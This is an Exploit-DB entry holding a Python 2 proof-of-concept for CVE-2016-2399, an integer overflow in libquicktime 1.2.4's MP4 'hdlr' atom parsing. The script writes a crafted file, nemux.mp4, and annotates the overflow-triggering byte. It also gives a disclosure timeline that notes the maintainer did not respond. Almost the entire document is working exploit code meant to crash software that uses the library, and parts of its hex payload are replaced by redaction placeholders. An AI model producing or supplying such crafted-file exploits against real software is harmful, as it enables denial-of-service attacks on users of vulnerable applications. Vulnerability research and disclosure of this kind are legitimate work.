Exploit-DB #39487
Description: libquicktime 1.2.4 - Integer Overflow
Type: dos
Platform: multiple
Date: 2016-02-23
Author: Marco Romano

Exploit:
#!/usr/bin/env python
#
###
# - 7 February 2016 -
# My last bug hunting session (*for fun and no-profit*) 
# has been dedicated to libquicktime
###
# 
# Author: Marco Romano - @nemux_ http://www.nemux.org
# libquicktime 1.2.4 Integer Overflow
#
# Product Page: http://libquicktime.sourceforge.net/
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
#
# CVE-ID: CVE-2016-2399 
#
# Disclosure part: http://www.nemux.org
#
########
####### Timeline
#
# 07 Feb 2016 Bug discovered
# 17 Feb 2016 Mitre.org contacted
# 17 Feb 2016 Disclosed to the project's maintainer
# 23 Feb 2016 No response from the maintainer
# 23 Feb 2016 Publicly disclosed 
#
########
####### References
#
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
# http://libquicktime.sourceforge.net/
# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html 
# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
#
#######
#
# DISCLAIMER: It's just a PoC... it will crash something
#
#### 
import sys
import struct
import binascii

"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C[PII_REDACTED][PII_REDACTED][PII_REDACTED]346D[PII_REDACTED][PII_REDACTED]086D[PII_REDACTED]01B1" 
             "6D6F6F76"               #### moov atom
             "0000006C6D[PII_REDACTED]0000CC1E6D6ECC1E6D6E000003E[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0"
             "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000" 
             "[PII_REDACTED][PII_REDACTED][PII_REDACTED]03000000FD[PII_REDACTED][PII_REDACTED][PII_REDACTED]000000FEFF[PII_REDACTED]126175"
             "[PII_REDACTED]000000FEFF[PII_REDACTED]127469746C[PII_REDACTED]00FEFF[PII_REDACTED][PII_REDACTED][PII_REDACTED]0FEFF0000"
             "[PII_REDACTED][PII_REDACTED]00000000FEFF[PII_REDACTED]12676E[PII_REDACTED]000000FEFF[PII_REDACTED]1A72746E[PII_REDACTED]" 
             "[PII_REDACTED][PII_REDACTED]FEFF[PII_REDACTED]18636C[PII_REDACTED][PII_REDACTED]00000000FEFF[PII_REDACTED]0F6B[PII_REDACTED]" 
             "000055C[PII_REDACTED]76C6F[PII_REDACTED]000000FEFF[PII_REDACTED][PII_REDACTED][PII_REDACTED]FEFF0000FEFF[PII_REDACTED]FF" 
             "616C626D[PII_REDACTED]00FEFF[PII_REDACTED]000E[PII_REDACTED][PII_REDACTED]000002E4"
             "7472616B"               #### trak atom
             "0000005C746B[PII_REDACTED]01CC1E6D6ECC1E6D6E[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000"
             "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000040"
             "6D646961"               #### mdia atom
             "000000206D[PII_REDACTED]0000CC1E6D6ECC1E6D6E00003E[PII_REDACTED][PII_REDACTED]0000"
             "4E"                     #### hdlr atom length
             "68646C72"               #### hdlr atom
             "[PII_REDACTED]"
             "[PII_REDACTED]"       #### our airstrip :)
             "[PII_REDACTED][PII_REDACTED]00" 
             "EC"                     #### 236 > 127 <-- overflow here and a change in signedness too
             "[PII_REDACTED]00FF736F756E[PII_REDACTED][PII_REDACTED]0000536F756E6448616E646C[PII_REDACTED]012B6D696E[PII_REDACTED]")

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

def createPoC():
    try:
        with open("./nemux.mp4","wb") as output:
            output.write(hax0r_mp4)
        print "[*] The PoC is done!"
    except Exception,e: 
        print str(e)
        print "[*] mmmm!"

def usage():
    print "\nUsage? Run it -> " + sys.argv[0]
    print "this poc creates an mp4 file named nemux.mp4"
    print "--------------------------------------------"
    print "This dummy help? " + sys.argv[0] + " help\n" 
    sys.exit()

if __name__ == "__main__":
    try:
        if len(sys.argv) == 2:
            usage()
        else:
            print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
            print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
            createPoC();
    except Exception,e: 
        print str(e)
        print "Ok... Something went wrong..."
        sys.exit()